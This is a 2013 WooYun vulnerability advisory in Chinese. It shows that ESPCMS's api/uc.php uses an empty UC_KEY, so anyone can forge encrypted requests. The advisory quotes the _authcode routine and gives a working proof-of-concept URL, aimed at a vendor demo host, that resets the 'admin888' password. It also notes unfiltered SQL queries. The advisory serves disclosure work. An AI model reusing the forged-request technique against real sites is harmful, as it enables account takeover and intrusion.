当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-035697

漏洞标题:ESPCMS某接口文件存在缺陷可重置任意用户密码

相关厂商:易思ESPCMS企业网站管理系统

漏洞作者: viekst

提交时间:2013-08-30 19:03

修复时间:2013-11-25 19:04

公开时间:2013-11-25 19:04

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-08-30: 细节已通知厂商并且等待厂商处理中
2013-09-04: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2013-10-29: 细节向核心白帽子及相关领域专家公开
2013-11-08: 细节向普通白帽子公开
2013-11-18: 细节向实习白帽子公开
2013-11-25: 细节向公众公开

简要描述:

ESPCMS某接口文件存在缺陷可重置任意用户密码,还可造成SQL注入

详细说明:

/espcms_utf8_5.7.13.08.15_b/upload/api/uc.php
该文件可能是用作 与ucenter做接口的,espcms在默认安装存在,
第36行起

...
$_DCACHE = $get = $post = array();
$code = @$_GET['code'];
parse_str(_authcode($code, 'DECODE', UC_KEY), $get);
if (MAGIC_QUOTES_GPC) {
$get = _stripslashes($get);
}
...


code变量从get中获取后经过_authcode函数解密成字符串 接着解析到变量中,
重点来到_authcode函数,这是一个经典的的流密码实现的算法,定义密匙通过抑或运算得到密文,很多开源CMS都有用到,ESPCMS的cookie也是用的该种加密

function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya . md5($keya . $keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for ($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for ($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for ($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result.=chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if ($operation == 'DECODE') {
if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc . str_replace('=', '', base64_encode($result));
}
}


但是注意该处的密匙UC_KEY没有定义,也没有用到db_pscode,该处是空的,
那么我们就可以通过_authcode算法自行加密了,
接着往下看

...
include_once DISCUZ_ROOT2 . 'datacache/public.php';
require_once DISCUZ_ROOT . './class_dbMysql.php';
$GLOBALS['db'] = new dbmysql();
$GLOBALS['db']->connect(db_host, db_user, db_pw, db_name, db_charset, 1);
$GLOBALS['tablepre'] = db_prefix;
$uc_note = new uc_note();
$turecode = $uc_note->$get['action']($get, $post);
exit($uc_note->$get['action']($get, $post));
...


到了这里我们就可以调用以下方法了,改密码,改用户,删用户什么的,

'test', 'deleteuser', 'renameuser', 'gettag', 'synlogin', 'synlogout', 'updatepw', 'updatebadwords', 'updatehosts', 'updateapps', 'updateclient', 'updatecredit', 'getcreditsettings', 'updatecreditsettings'

漏洞证明:

code = _authcode('action=updatepw&time=1477834492&username=admin888&password=1111111','ENCODE','')
http://demo.ecisp.cn/api/uc.php?code=094epCszE0DZRnt2Pv34E8VkGrLYXsXizGVzdzeJIhXoTx7N8w%2bLG6zR0zWMwkUbhtyXrBEFXHctzJrLdiu6aaixIJYNH0%2bt9U%2byhpmQhvgwFM11ss9oe%2faJ2uc7KGQ //将admin888用户密码改为1111111


另外上面在进行数据库查询的时候未做任何过滤,还可引起SQL注入

修复方案:

没有用的就删除了..

版权声明:转载请注明来源 viekst@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2013-11-25 19:04

厂商回复:

最新状态:

暂无